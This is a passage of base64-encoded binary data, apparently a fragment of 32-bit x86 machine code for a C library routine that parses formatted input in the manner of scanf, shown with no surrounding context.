GIOFePr//wGIXdTrwYONkPr//0DHhWD6//8KAAAA6a74//+LnZD6//+J2IPgAYmFjPr//w+FQvz//4nYg+MID4WRAAAA9sQhD4QkLwAAi4U4+v//hcAPhXM6AACLhVj6//+LMIPABImFWPr//4m1bPr//4u9bPr//4X/D4TvRQAAg+wMamTo6x/6/4PEEIXAiQcPhKBFAACLjUT6//+FyQ+EKTYAAIsRg/ogjUoBD4QbNgAAi7VE+v//i71s+v//iYVA+v//x4VU+v//ZAAAAIkOiXyWCIO9lPr///8PhEwwAACLvYD6//+LRwQ7RwgPg5Y7AACLvYD6//+NUAGJVwQPtgCJhZT6//+LhXD6//+LjZT6//+DhXj6//8Bi0A09kRIASAPhcorAACLtZD6//+LvZT6//+JnXT6//+LjUD6//+LnYj6//+B5gAhAACJtZT6//+LtYD6///rZ4uNbPr//4sRi41U+v//iY1g+v//AdGJjYj6//87hYj6//+JwQ+EIDIAAIXbfgmD6wEPhMMzAACLRgQ7RggPgwQSAACNUAGJVgQPtjiLhXD6//+DhXj6//8Bi0A09kR4ASAPhR8rAACLhXT6//+FwHW5ifqNQQGIEYuNlPr//4XJD4V6////icHroIuNkPr//4nOg+YBD4TsFQAAiciD4AiJhYz6//8PhZQAAAD2xSEPhKwtAACLhTj6//+FwA+FODkAAIuFWPr//4sIg8AEiYVY+v//iY1s+v//i71s+v//hf8PhIJCAACD7AxokAEAAOgkHvr/g8QQhcCJBw+ER0IAAIuNRPr//4XJD4S9OAAAixGD+iCNSgEPhK84AACLvUT6//+JhUz6///HhVT6//9kAAAAiQ+LjWz6//+JTJcIi4Wc+v//xoV0+v//AIA4Xg+E1xsAAIu9iPr//7j///9/hf8PSceD7ASJhYj6//+Nhcj7//9qAWgAAQAAUOjHUwAAg8QQhMAPhBYxAACLhcj7//+NeATHAAAAAADHgPwAAAAAAAAAg+f8KfiNiAABAAAxwMHpAvOri5Wc+v//D7YCPF0PhCkWAAA8LXUc6SAWAACNtCYAAAAAi5XI+///xgQCAYuVnPr//41KAYmNnPr//w+2AoTAD4TgFQAAPF0PhBQNAAA8LXXQD7Z6AYn7gPtddMWE23TBD7Za/4n6ONN3tw+DXDQAAJCLlcj7//8PtsODwwHGBAIBi5Wc+v//OBp35uuki4WQ+v//g+AIiYWM+v//D4WU7f//9oWQ+v//Ag+E8hoAAIuFOPr//4XAD4V9LAAAi41Y+v//iciDwQSLAImNWPr//4u1ePr//8dABAAAAACLvZz6//+JMOly7P//i52Q+v//idiD4AGJhYz6//8PhRT6//+LvYj6//+4AQAAAInGidiD//8PRfeD4wiJtYj6//8PhaAAAAD2xCEPhGItAACLhTj6//+FwA+FsjgAAIuFWPr//4swg8AEiYVY+v//ibVs+v//i71s+v//hf8PhNg/AACLjYj6//+4AAQAAIH5AAQAAA9OwYPsDFCJhVT6///o3Rv6/4PEEIXAiQcPhHA/AACLvUT6//+F/w+E/zIAAIsXg/ogjUoBD4TxMgAAi7VE+v//i71s+v//iYVA+v//iQ6JfJYIg72U+v///w+EgywAAIuNgPr//4tBBDtBCA+D5DcAAIu1gPr//41QAYlWBA+2AImFlPr//4u1ePr//4nwg8ABhdsPhB8aAACLvYj6//+J84mFePr//wH7g/8BD4439///i7V4+v//i72A+v//6xSNUAGJVwQPtgCDxgE58w+Ewy4AAItHBDtHCHLkg+wMV+jpvvn/g8QQg/j/ddyJhZT6//+40P///4m1ePr//4u9nPr//2WLAImFhPr//+nX6v//g42Q+v//QMeFYPr//wAAAADpIfP//8eFYPr//wgAAADpEvP//4O9lPr///8PhGMZAACLjYD6//+LQQQ7QQgPg5ksAACLtYD6//+NUAGDhXj6//8BiVYED7YAiYWU+v//i4WI+v//hcB+B4OtiPr//wGLtZT6//+J8IPoK4Pg/Q+FDxMAAIuFiPr//4P+LQ+UhTD6//+FwA+E4zEAAIu9gPr//4tHBDtHCA+D5jEAAIu9gPr//41QAYlXBA+2AImFlPr//4u1iPr//4OFePr//wGF9g+fwA+2wCnGibWI+v//i41w+v//D7aFlPr//4tROIsEgoP4bg+ElRoAAIP4aQ+ExhwAAIudiPr//4XbD4RoGAAAg72U+v//MA+FWxgAAIuFwPv//zuFxPv//w+ExD0AAI1QAYmVwPv//8YAMIu1gPr//4tGBDtGCA+DeD0AAIu9gPr//41QAYlXBA+2AImFlPr//4OFePr//wGLtYj6//+F9g+fwA+2wCnGibWI+v//D4SzKQAAi41w+v//D7aFlPr//78BAAAAxoV0+v//ZYtROIM8gngPhBIyAACJ+MaFUPr//wDGhWD6//8Ai52U+v//iIWM+v//i7WA+v//6147vcT7//8PhG4pAACNVwGJlcD7//+IH4u9iPr//4X/D4TaKgAAxoWM+v//AYtGBDtGCA+D6RoAAI1QAYlWBA+2GIuNiPr//4OFePr//wGFyQ+fwA+2wCnBiY2I+v//i73A+///hf8PhF8WAACNU9CD+gl2jIC9UPr//wAPhD8KAAAPto10+v//Ok//D4TXJgAAi72I+v//uP///3+JwYuFPPr//4X/D0/PgL1g+v//AImNlPr//w+FcxAAAA+2EDnTidCJ0Q+FAkoAAIuFPPr//4B4AQCNeAEPhOQxAACLnZT6///rNI1QAYlWBA+2EA+2D4OFePr//wGD6wE50YnID4XDMQAAg8cBgD8AD4SfMQAAhdsPhIYvAACLRgQ7RghyxIPsDFbovrv5/4PEEIP4/w+Fl0gAAImdlPr//4nDuND///9liwCJhYT6//8PtgeEwA+E/SQAAPaFkPr//4APhM8PAACLjTz6//8pz4X/ifoPjtEvAACLvWT6//8Ptgc4AQ+FwkkAAIPHAYn4K4Vk+v//OcIPjrUvAAAPtgQBOAd05YA/AA+Flg8AAIuFZPr//w++EInHhNJ1J+kvEQAAifaNvCcAAAAAjUgBiY3A+///iBCDxwEPvheE0g+EDREAAIuFwPv//zuFxPv//3XZjYXA+///6D7l///r14O9lPr///8PhB8qAACLtYD6//+LRgQ7RggPg/AqAACLtYD6//+NUAGJVgQPtgCJhZT6//+DhXj6//8Bg72U+v//JQ+Emef//w+2hZT6//+LnYD6//+D7AhQU+jNw/n/g8QQx4WM+v//AgAAAOnD6f//jXYAi72A+v//9kc8EA+FS+z//4GNkPr//wABAADpt+r//4udgPr//8eFjPr//wIAAADpjOn//4udgPr//4u1jPr//4uFhPr//2WJBouFfPr//8eFjPr//wEAAACFwA+FX+n//8eFfPr////////pUOn//4udgPr//4u1jPr//4uFhPr//2WJBouNfPr//8eFjPr//wEAAACFyQ+FI+n//8eFfPr////////pFOn//8eFYPr//xAAAADpRe7//8eFYPr//woAAADpNu7//8eFYPr//wgAAADpJ+7//4udgPr//8eFjPr//wIAAADp0uj//4udgPr//8eFjPr//wIAAADpvej//5CNdCYAg71g+v//Cg+FQ/D///aFkPr//4APhDbw//+LtYj6//+4////f4X2D0/GiceLhWT6//8Pthg7nZT6//8PhWoNAACJxonIifmJx+tKkI10JgCNUAGJlcD7//+IGIPGAYA+AA+EbgEAAIXJD4SFAQAAi0cEO0cIc1mNUAGJVwQPthgPtgaDhXT6//8Bg+kBOdgPhaABAAAPvsOInYz6//+JhXj6//+LhcD7//87hcT7//91no2FwPv//w++04mNlPr//+j64v//i42U+v//641mkIPsDImNlPr//1fokbj5/4PEEIP4/4uNlPr//w+FTUYAAImFlPr//4n4ic+JwbjQ////ZYsAiYWE+v//i5XA+///hdKJ0A+EHEYAAIA+AA+FXQ0AAIu1lPr//4nzD77ziJ2M+v//ibV4+v//i7WI+v//hfYPTv6D6AGJhcD7//+JvYj6///phu7//422AAAAAIuFcPr//4u1lPr//4tANPZEcAEQD4TW7v//i7WU+v//i4XA+///ifMPvvOInYz6//+JtXj6///pRO7//410JgC40P///4u1hPr//2WJMOnF7f//i5V4+v//jYXA+///iY2M+v//6Pbh//+LjYz6///pKe7//4n4ic+JwYuFwPv//4XAD4RORQAAiZ2U+v//6Uf///+LlcD7//+LvXT6//+J8YXSD4WFDAAAi52A+v//uND////HhYz6//8AAAAAx4V8+v///////2XHAAwAAADpg+b//4n4iZ2U+v//ic+JwenF/v//g+wMiY2M+v//Uegbt/n/g8QQg/j/iYWU+v//i42M+v//D4XP7f//uND///9liwCJhYT6///p+Oz//4PsDFbo57b5/4PEEIP4/4mFlPr//w+F/Ov//7jQ////ZYsAiYWE+v//i41g+v//hckPhJfs///piez//4udgPr//8eFjPr//wIAAADp5+X//4uFjPr//4udgPr//4XAD4TT5f//i72E+v//i4WU+v//i7Vw+v//6y+NtCYAAAAAi0MEO0MID4NYAQAAjVABiVMED7YAjRQAi040D7cUEYDmIA+EwAAAAIP4/3XTx8LQ////ZYk6uv7////r24PsDFfoKrb5/4PEEIP4/4mFlPr//w+Fo+L//4udgPr//+k55v//i42I+v//iY04+v//jUgBiY2c+v//D7ZQAYnI6UHk//8PtoWU+v//i52A+v//g+wIUFPoFr/5/4PEEMeFjPr//wIAAADpDOX//7jQ////x4V8+v///////2XHAAkAAADphuX//4PsCA+2wIn7UFfo2r75/4PEEMeFjPr//wIAAADp0OT//4P4/8eFjPr//wAAAAAPhL3k//+D7AgPtsBQU+iovvn/g8QQ6ajk//+LhZD6//+oQA+E7gcAACWAAAAAUI2FoPr///+1YPr//1D/tcj7///o9Ev5/4PEEOnY7P//x4Vg+v//CAAAAOkV6///i52A+v//x8bQ////6ero//+D7AxT6AO1+f+DxBCD+P8PhQU5AADHwtD///9lizq6/v///+mM/v//g+wMVujbtPn/g8QQg/j/icMPhZXu//+40P///4nzx4WM+v//BAAAAGXHAFQAAADp+OP//4PsDFbop7T5/4PEEIP4/4nDD4VE8P//uND///+J88eFjPr//wQAAABlxwBUAAAA6cTj///3hZD6//8AEAAAdFODvYj6//8EdkqDvZT6//8odUGLhXD6//+LjYD6//+LWDiLQQQ7QQgPg0QnAACLjYD6//+NUAGJUQQPtgCJhZT6//8PtoWU+v//gzyDbg+ECQwAAIO9lPr///+LnYD6//8PhA8mAAAPtoWU+v//g+wIUFPoOb35/4PEEMeFjPr//wIAAADpL+P//420JgAAAACF9g+E+gkAAIO9lPr///8PhPEdAACLjYD6//+LQQQ7QQgPg1kpAACLtYD6//+NUAGJVgQPtgCJhZT6//+LhXj6//+NSAGNnfT6//+LvZD6//+LlZT6///HhfT6//8AAAAAx4X4+v//AAAAAInOiZ1Q+v//i52A+v//x4WM+v//AAAAAIPnCI12AI28JwAAAACLhcj7//8Pto10+v//OgwQD4RQHwAAhf+JvZT6//90J4OtiPr//wEPhIIdAACLQwQ7QwgPg58EAACNSAGDxgGJSwQPthDruY1F1P+1UPr//2oBiFXUiZVg+v//UP+1TPr//+gZRgAAg8QQg/j+i5Vg+v//D4T+BQAAg4VM+v//BPeFkPr//wAhAAAPhIgAAACLjWz6///HhYz6//8AAAAAiwGLjVT6//+JjTj6///B4QKJjWD6//8BwTmNTPr//w+FW////4uNVPr//4PsCImVTPr//8HhA1FQ6GIS+v+DxBCFwIuVTPr//w+EzUAAAIuNbPr//9GlVPr//4m9jPr//4kBA4Vg+v//iYVM+v//6Qz///+NdCYAx4WM+v//AAAAAOn5/v//94WQ+v//AAgAAA+E4QQAAIuFcPr//4tQNPZEWgEQD4TNBAAAO73E+///D4QPNgAAjVcBxoWM+v//AYmVwPv//4gfi5WI+v//hdIPhO8fAACD+/8PhRP1//+40P///4u1hPr//4mdlPr//2WJMIuFwPv//4XAD4QlOwAA94WQ+v//AAQAAA+FzjUAAIuVyPv//4nBKdE50A+E2kAAAPeFkPr//wAIAAB0CYP5Ag+EPDMAAIuFwPv//zuFxPv//w+EhyUAAI1QAYmVwPv//8YAAIu9wPv//4X/D4R/JQAA9oWQ+v//Ag+FhR8AAIu9kPr//4n4qAMPhNUbAACD7AQlgAAAAFCNhaD6//9Q/7XI+///6PNkAACJ+IPEEKgID4UIDwAAi4XI+///i5Wg+v//OcIPhCFAAACLnTj6//+F2w+F6SQAAIu9WPr//413BIsPibVY+v//gL0w+v//AHQC2eDdGTnCD4S3NAAAg4V8+v//Aemn3f//g+wMiY2I+v//VuijsPn/g8QQg/j/iceLjYj6//8PheLt//+JhZT6//+40P///4uddPr//4mNQPr//2WLAImFhPr//4XbD4WC6P//94WQ+v//ACEAAIuFQPr//41YAcYAAHQni71s+v//idqLBynCOZVU+v//dBOD7AhSUOghEPr/g8QQhcB0AokHg4V8+v//AYu9nPr//8eFjPr//wAAAACJnUD6///HhWz6//8AAAAA6Rfc//+J94P4AYneifsPhR0qAACDrYj6//8Bg4VM+v//BIuFiPr//4XAD46bKgAAi0cEO0cID4NdKQAAjVABiVcED7Ywg4V4+v//AenR6v//g/gBiZ2U+v//ifMPhTsmAACLhYz6//+DhUz6//8Ei41M+v//hcB1LIu1YPr//4X2dCKLhWz6//+LtVT6//+LAIm1UPr//8HmAo0UMDnRD4SQMQAAi4WI+v//hcB+CYOtiPr//wF0XItDBDtDCA+DpygAAI1QAYlTBA+2AImFlPr//4uFcPr//4u1lPr//4OFePr//wGLQDT2RHABIA+EcOj//w+2hZT6//+D7AiDrXj6//8BUP+1gPr//+gwuPn/g8QQi72M+v//hf8PhdTb///3hZD6//8AIQAAi4VM+v//jVgExwAAAAAAdCuLvWz6//+J2osHKcKJ0cH5AjmNVPr//3QSVlZSUOiSDvr/g8QQhcB0AokHg4V8+v//AYmdTPr//8eFbPr//wAAAADpctv//5CNdCYAg+wMU+hvrvn/g8QQg/j/icIPhTswAACJhZT6//+40P///4nxZYsAiYWE+v//i4WM+v//hcAPhagmAAA7jXj6//8PhIwmAACLhZD6//+oCHVji7VM+v//9sQhjV4ExwYAAAAAdDiLvWz6//+J2osHKcKJ1sH+Ajm1VPr//3Qfg+wIiY2Q+v//UlDo2g36/4PEEIXAi42Q+v//dAKJB4OFfPr//wGJnUz6///HhWz6//8AAAAAi72c+v//x4WM+v//AAAAAImNePr//+nE2f//D7YAg+grqP0Phajk///pefn//4uFkPr//yWAAAAAUI2FoPr///+1YPr//1D/tcj7///oklkAAIPEEImVIPr//+kQ5f//i4WQ+v//JYAAAABQjYWg+v///7Vg+v//UP+1yPv//+hgRPn/g8QQ6eTk//+AvYz6//8AD4TT8P//i4Vw+v//D7bTi0g4D7aFdPr//zoEkQ+Ft/D//zu9xPv//w+EtTsAAA+2hXT6//+NVwGJlcD7//+IBw+2hYz6//+IhVD6//+IhWD6///p8vr//4OFjPr//wGLhYz6//+D+A8PhqD5//9oDMYOCGhzCgAAaEXBDghoT8EOCOha5/j/jXYAjbwnAAAAAIXbD4QYBgAAi7U4+v//hfYPhfoUAACLjVj6//+JyoPBBImNWPr//4sS6Xvk//+LjZD6//+JyIPgCImFjPr//w+Four///bFIQ+E8hkAAIu9OPr//4X/D4VuJQAAi4VY+v//iwiDwASJhVj6//+JjWz6//+LvWz6//+F/w+EuysAAIPsDGpk6DUI+v+DxBCFwIkHD4SDKwAAi41E+v//hckPhJcdAACLEYP6II1KAQ+EiR0AAIu9RPr//4mFQPr//8eFVPr//2QAAACJD4uNbPr//4lMlwjpDOr//4u1ZPr//+lV8///gDgAdEWLvWT6//+F/w+FYfD//4mdlPr//4uFlPr//4P4/w+E1vn//w+2wFFRUP+1gPr//4OtePr//wHourT5/4PEEOm2+f//ZpCLjYj6//+FyX4Mi4WU+v//iYWI+v//xoVg+v//Aeln+f//g+wMVuhFq/n/g8QQg/j/iYWU+v//D4Xi3///i52A+v//6Q/f///GhTD6//8A6UHt//+LnYD6///HhYz6//8CAAAA6U/a//+Llcj7///GBAIBi4Wc+v//jVAB6d/p//+LvXT6//+LnZT6//+J8YuFZPr//znID4OhBQAAic4pxinyg/v/iZXA+///dCSD7AgPttuJjZT6//9T/7WA+v//g+8B6Oez+f+LjZT6//+DxBCNWf85nWT6//9zSoneiZ2M+v//i52A+v//iY2U+v//D7YGg+wIg+4BUFPor7P5/4PEEDm1ZPr//3Xli42U+v//i4Vk+v//i52M+v//KciDwAEBwwHHD7YDi5XA+///iYWU+v//6SHh//+40P///4u9hPr//4udgPr//2WJOIuFfPr//8eFjPr//wEAAACFwA+FUdn//8eFfPr////////pQtn//4uFiPr//4uNlPr//4XAD07IiY2I+v//6ff3//+DvZT6////D4SVEgAAi7WA+v//i0YEO0YID4NmHAAAi7WA+v//jVABiVYED7YAiYWU+v//i4V4+v//i72U+v//D7aNdPr//41YAYuFyPv//zoMOA+E2hkAAIuNkPr//4u9iPr//wO9ePr//4u1gPr//4nIg+AIiYWM+v//iciJvYj6//8lACEAAIuNQPr//4u9lPr//4mFYPr//+tai4Vs+v//i41U+v//iwABwYmNlPr//zuVlPr//4nRD4QcEgAAOZ2I+v//D4TKBwAAi0YEO0YIc3yNUAGJVgQPtjiLhcj7//8PtpV0+v//g8MBOhQ4D4QwGQAAi4WM+v//hcB1wIn4jVEBiAGLhWD6//+FwHWLidHrq7jQ////i7WE+v//i52A+v//ZYkwi4V8+v//x4WM+v//AQAAAIXAD4Xk1///x4V8+v///////+nV1///g+wMiY2U+v//Vuh+qPn/g8QQg/j/iceLjZT6//8PhWr///+JhZT6//+40P///4mNQPr//2WLAImFhPr//zudePr//w+ENB0AAIuFkPr//4PgCImFjPr//w+E7hEAAIu9nPr//8eFjPr//wAAAACJnXj6///pL9T//4uFcPr//4u1gPr//4tYOItGBDtGCA+DERoAAIu1gPr//41QAYlWBA+2AImFlPr//w+2hZT6//+DPINpD4W28///i4Vw+v//i42A+v//i1g4i0EEO0EID4ODGQAAi42A+v//jVABiVEED7YAiYWU+v//D7aFlPr//4M8g2wPhXXz//+LtYD6//+LRgQ7RggPg5gYAACLtYD6//+NUAGJVgQPtgCJhZT6//+DvZT6//8pjUcEiYV4+v//D4VhNAAAi4XA+///O4XE+///D4SLGAAAjVABiZXA+///xgAw6XLe//+40P///2XHABYAAADp6tT//4uFOPr//4XAD4UABgAAi71Y+v//ifiDxwSLAIm9WPr//4mFTPr//4uFTPr//4XAD4XB3///i52A+v//x4WM+v//AgAAAOkf1v//jbQmAAAAAIuFOPr//4XAD4VYBQAAi41Y+v//iciDwQSLAImNWPr//4mFTPr//4uFTPr//4XAD4VE4f//i52A+v//x4WM+v//AgAAAOnO1f//jbYAAAAA9oWQ+v//BA+EFhMAAIudOPr//4XbD4UsFQAAi41Y+v//jXEEixGJtVj6//9miQLpYN7///aFkPr//wQPhIYSAACLjTj6//+FyQ+F+BQAAIu9WPr//4sXg8cEib1Y+v//68q40P///4nzx4WM+v//AAAAAMeFfPr///////9lxwAMAAAA6T/V//+40P///4udgPr//8eFjPr//wAAAADHhXz6////////ZccADAAAAOkU1f//g8ABxoV0+v//AYmFnPr//+kU5P//D76VlPr//42FwPv//+j1z///6Yra///2hZD6//8ED4RDEQAAi4U4+v//hcAPheIWAACLvVj6//+NdwSLB4m1WPr//w+3tXj6//+LvZz6///HhYz6//8AAAAAZokw6XDR//+NhcD7//+6MAAAAOiVz///6bna///GhXT6//9lMf/pJej//4mdlPr//+kb3P//i52A+v//x8bQ////6Rrr//+LvZD6//+JhXj6//+LlZT6//+LtYj6//+LhUD6//+LnYD6//+B5wAhAACJvZD6//+LjZD6//+FyXQei41s+v//i71U+v//iwmJvZT6//8Bzzn4D4ShAAAAg+4BjXgBiBCF9g+OGg8AAItDBDtDCHMejUgBiUsED7YQi42Q+v//g4V4+v//AYn4hcl0zOusg+wMU+h/pPn/g8QQg/j/icJ12ImFlPr//7jQ////ifuLvZD6//9liwCJhYT6//+F/w+EKfT//4u1bPr//4naiwYpwjuVVPr//w+EEfT//4PsCFJQ6B8E+v+DxBCFwA+E/PP//4kG6fXz//+LvVT6//+NRv+JlYz6//85/g9Px4PsCAHHV1Ho7QP6/4PEEIXAi5WM+v//D4SxLgAAi41s+v//iQEDhVT6//+JvVT6///pFf///7jQ////i52A+v//x4WM+v//AAAAAMeFfPr///////9lxwAMAAAA6fDS//+LnYD6///HhYz6//8CAAAA6dvS///2hWD6//8KD4Vb2f//i42I+v//hckPn8APtsApwYO9lPr///+JjYj6//8PhCobAACLtYD6//+LRgQ7RggPg30uAACLjYD6//+NUAGJUQQPtgCJhZT6//+DxwHHhWD6//8QAAAA6SLZ//+LhcD7//87hcT7//8PhDYbAAAPto2U+v//jVABiZXA+///iAiLlYj6//+F0g+EjRIAAIu1gPr//4tGBDtGCA+DYCQAAIu1gPr//41QAYlWBA+2AIu9cPr//w+20ItPOIM8kWEPhcoaAACLvYj6//8x0oX/D5/CKdeLlcD7//87lcT7//+JvYj6//8PhHAjAACNSgGJjcD7//+IAouFiPr//4XAD4R1GgAAi42A+v//i0EEO0EID4MZIwAAi72A+v//jVABg4V4+v//AolXBA+2AImFlPr//4u1cPr//w+2hZT6//+LVjiDPIJuD4XOIgAAi4XA+///O4XE+///D4QjLQAAD7aNlPr//41QAYmVwPv//4gI6Znw//+NhcD7//8x0uhTzP//6VzZ///d2OsG3djrAt3Yi4XI+///OYWg+v//D4XXzv//i52A+v//x4WM+v//AgAAAOkV0f//kI10JgCD7AxW6L+h+f+DxBCD+P+Jww+FCeX//4mFlPr//7jQ////ZYsAiYWE+v//6dzv//+D7AxR6I+h+f+DxBCD+P+JhZT6//8PhR3X//+40P///2WLAImFhPr//+kN1///i41o+v//i7U4+v//jUSx/IP+AQ9EwYsAiYVM+v//6Z76//+JvZT6//+JjUD6///p5vj//4uNaPr//4u1OPr//41EsfyD/gEPRMGLAImFbPr//+lH2///i7Vo+v//i404+v//jUSO/IP5AQ9ExosAiYVM+v//6fb5//+LhcD7//87hcT7//8PhH4bAAAPto2U+v//jVABiZXA+///iAiLhYj6//+FwA+ECRsAAIu9gPr//4tHBDtHCA+DASAAAIuNgPr//41QAYlRBA+2AIu9cPr//w+20ItPOIM8kW4PhccfAACLjYj6//8x0oXJD5/CKdGLlcD7//87lcT7//+JjYj6//8PhH8fAACNSgGJjcD7//+IAouFiPr//4XAD4RRHwAAi7WA+v//i0YEO0YID4MXHwAAi7WA+v//jVABiVYED7YAiYWU+v//i4V4+v//jVgCi7Vw+v//D7aFlPr//4tWOIM8gmYPhcoeAACLtYj6//+F9g+fwA+2wCnGi4XA+///O4XE+///ibWI+v//D4T3IAAAD7aNlPr//41QAYmVwPv//4gIi72I+v//hf8PhHEOAACLjYD6//+LQQQ7QQgPg54cAACLvYD6//+NUAGJVwQPtgCJhZT6//+LjXD6//8PtoWU+v//i1E4gzyCaQ+ESRoAAFZWUP+1gPr//+imqPn/g8QQiZ14+v//6eHt//+QjbQmAAAAAIuNaPr//4u1OPr//41EsfyD/gEPRMGLAImFbPr//+mc1///i71o+v//i404+v//jVSP/IP5AQ9E14sS6RnX//+D7AxoOsEOCOhTov7/i7VI+v//g8QQiYUo+v//i05wiY2M+v//g+kBhcCJjST6//8PhW8hAACLnYD6///HhXT6//8AAAAAib2M+v//g72U+v///w+EMSEAAIuFiPr//4XAD4QjIQAAi72I+v//uP///3/HhXj6//8AAAAAhf8PT8eJhTT6//+NhcT6//+JhWD6//+QjXQmAIu1KPr//4X2D4VaBQAAi4V4+v//i71I+v//i41g+v//i3SHdIk0gYuNdPr//zH/hcl0RInwiZ1Q+v//i7Vg+v//ifuLvXj6//+NtCYAAAAAg+wIg8MBagBQ6EKe+P+DxBCDwAE5nXT6//+JBL514YudUPr//4nGD7YWO5WU+v//D4WOBQAAgH4BAI1+AQ+EiQUAAIuVNPr//4m1UPr//4nW6zeQjXQmAI1QAYlTBA+2AA+2D4OFjPr//wGD7gE5wQ+FxgMAAIPHAYA/AA+EzwMAAIX2D4R+AwAAi0MEO0MIcsaD7AxT6I2d+f+DxBCD+P91vomFlPr//7jQ////ifKLtVD6//9liwCJhYT6//8PtgeEwA+EdSoAADn+c2mDvZT6////D4VBAwAAjUf/OfCJhZT6//92QIm9UPr//4nHkI20JgAAAAAPtgeD7AiD7wFQU+hgpvn/g8QQOfd16Yu9UPr//4nwKfiDwAEBhZT6//8BhYz6//+LhZT6//8PtgCJhZT6//+D7AhqAFboDp34/4u9ePr//4uNYPr//4PAAYPEEIkEuYPHAYP/Com9ePr//w+FR/7//4uFdPr//4u9lPr//4nag8ABOYUk+v//iYUs+v//D4yPAQAAidPHhXj6//8AAAAAifqNtgAAAACLjXj6//+LhWD6//+LBIgPtgiJhZT6//850Q+FNQMAAIuFlPr//4u9NPr//4B4AQCNcAF1O+kuAwAAjbYAAAAAjVABiVMED7YQD7YOg4WM+v//AYPvATnRich1QIPGAYA+AA+EAAMAAIX/D4TQAQAAi0MEO0MIcsiD7AxT6Aec+f+DxBCD+P+JwnW+uND///9liwCJhYT6//8PtgaEwA+ExAIAADm1lPr//3Npg/r/D4WXAQAAi42U+v//jUb/iYVQ+v//OcFzRIm1MPr//4nPicaNtgAAAAAPtgaD7AiD7gFQU+jgpPn/g8QQOfd16Yu1MPr//4uFlPr//ynwg8ABAYVQ+v//AYWM+v//i4VQ+v//D7YQg+wIiZVQ+v//agD/tZT6///ohZv4/4u9ePr//4uNYPr//4PAAYPEEIuVUPr//4kEuYPHAYP/Com9ePr//w+FqP7//4OFLPr//wGJ14nai4Us+v//OYUk+v//D413/v//ib2U+v//9oWQ+v//gA+Eeh0AAIuFiPr//4u1ZPr//7////9/i5WU+v//hcAPT/gPtgY5wg+F9ycAAIn5id+J0+tKkI1QAYmVwPv//4gYg8YBgD4AD4QAAwAAhckPhIUCAACLRwQ7RwgPg7ABAACNUAGJVwQPthgPtgaDhYz6//8Bg+kBOdgPhUwCAAAPvsOInWD6//+JhXj6//+LhcD7//85hcT7//91mo2FwPv//w++04mNlPr//+imxP//i42U+v//64mNtgAAAAA5tZT6//8Pg8n+//+D7AgPttKDrYz6//8BUlPoaKP5/4PEEOlN/v//i7VQ+v//iYWU+v//OfcPhhv9//8PtoWU+v//g+wIg62M+v//AVBT6DSj+f+DxBDpn/z//4mFlPr//4nyiciLtVD6///pcfz//4n3i4V0+v//iYUs+v//i4WI+v//hcAPTviLhXj6//+DwDCJxomFlPr//4uFwPv//4nxibV4+v//i7Us+v//ibUk+v//ibV0+v//O4XE+///D4QwAQAAjVABiZXA+///iAgxwIX/D5/AKceDvZT6////ib2I+v//D4TjAAAAi0MEO0MID4NnAQAAjVABiVMED7YAiYWU+v//g4WM+v//Aelv+v//hMkPhbj9//+LvTT6//+QjXQmAIuFiPr//4XAD0746VL///+LhXj6//+LvWD6//+LtIX0+v//iTSH6aT6//+D7AyJjZT6//9X6OaY+f+DxBCD+P+Jw4uNlPr//w+FNv7//4mFlPr//7jQ////ifuJz2WLAImFhPr//4uFwPv//4XAicIPhJ4AAACAPgAPhcolAACLtZT6//+J8Q++8Ym1ePr//4u1iPr//4X2D07+g+gBiYXA+///6er+//+40P///4u9hPr//2WJOOmg+f//hNIPhWv7//+LvTT6///pfP7//4uVePr//42FwPv//+iQwv//6cX+//+JnZT6//+J+4nP6XL///+LlcD7//+LvYz6//+JnZT6//+F0g+FQSUAAIudgPr//7jQ////x4WM+v//AAAAAMeFfPr///////9lxwAMAAAA6S/H//+D7AxT6N6X+f+DxBCD+P+JhZT6//8PhY3+//+40P///2WLAImFhPr//+n1+P//i4XA+///iZ2U+v//ifuJzw+2jWD6//+FwA+FCv///+uMkI20JgAAAACLvWj6//+LtTj6//+NVLf8g/4BD0TXixLpfM///4uddPr//4m9lPr//4mNQPr//w+2hZT6//+D7AiDrXj6//8BUP+1gPr//+iEoPn/g8QQ6c3m//+40P///4u1hPr//4udgPr//2WJMIuFfPr//8eFjPr//wEAAACFwA+FWMb//8eFfPr////////pScb//4uNVPr//4mdUPr//4m1lPr//40UCYPBAYnOidPrFY12ADnzD4ayBgAAi4Vs+v//ifOLAIPsCFNQ6LT2+f+DxBCFwHTdi41s+v//idqLtZT6//+LnVD6//+JAYuNVPr//4mVVPr//wHB6Xft//+LhTz6//8PtgCEwIu9PPr//3Ui6Qzr//+NdCYAjUoBiY3A+///iAKDxwEPtgeEwA+E7+r//4uVwPv//zuVxPv//3XZD77QjYXA+///6JPA///r1PeFkPr//wAhAACLhUD6//+NcAHGAAB0J4u9bPr//4nxiwcpwTmNVPr//3QTg+wIUVDo+/X5/4PEEIXAdAKJB4OFfPr//wGLvZz6//+JtUD6//+JnXj6///HhWz6//8AAAAA6fXB//+J97jQ////i7WE+v//i52A+v//ZYkwi7V8+v//uP////+JwYX2D0XOiY18+v//ib2M+v//6enE//+JlZT6//+J8elJ5///ifuJlZT6//+LvZD6///pKPH//41T1YPi/Q+FHdn//zu9xPv//w+EIBAAAI1XAYmVwPv//4gf6XLj//+LtZD6//+D7ASJ8CWAAAAAUI2FoPr//1D/tcj7///o1kgAAInwg8QQqAgPhS/z//+Lhcj7//+LlaD6//85wg+ESCQAAIuNOPr//4XJD4W+CwAAi7VY+v//jX4Eiw6JvVj6//+AvTD6//8AdALZ4NkZ6R7k//+LhTj6//+FwA+F+wsAAIuFWPr//4swg8AEiYVY+v//ibVA+v//i4VA+v//hcAPhTHR//+LnYD6///HhYz6//8CAAAA6eTD//+NdCYAi4U4+v//hcAPhQQGAACLhVj6//+LOIPABImFWPr//4m9TPr//4uFTPr//4XAD4Ws0v//i52A+v//x4WM+v//AgAAAOmYw///i4WQ+v//JQACAACJhYz6//8PhSYNAACLhTj6//+FwA+F+wwAAIu9WPr//413BIsHibVY+v//i7V4+v//i72c+v//iTDpIsD//4u9aPr//4u1OPr//41Et/yD/gEPRMeLAOl50///g+wID7bCifFQ/7WA+v//g+kBiY2I+v//iZWU+v//6Aed+f+DxBCLjYj6///pbuX///eFkPr//wACAAAPhbUJAACLlTj6//+F0g+FiAkAAIu9WPr//4sXg8cEib1Y+v//iQLpl8v//412AMaFdPr//2W/AQAAAOli1v//jYXA+///idrosr3//+mL1v//94WQ+v//AAIAAA+FsgoAAIuNOPr//4XJD4WHCgAAi41Y+v//ixGNcQSJtVj6//+JAuk7y///uND///+LtYT6//+LnYD6//9liTCLhXz6///HhYz6//8BAAAAhcAPhUPC///HhXz6////////6TTC//+40P///4u1hP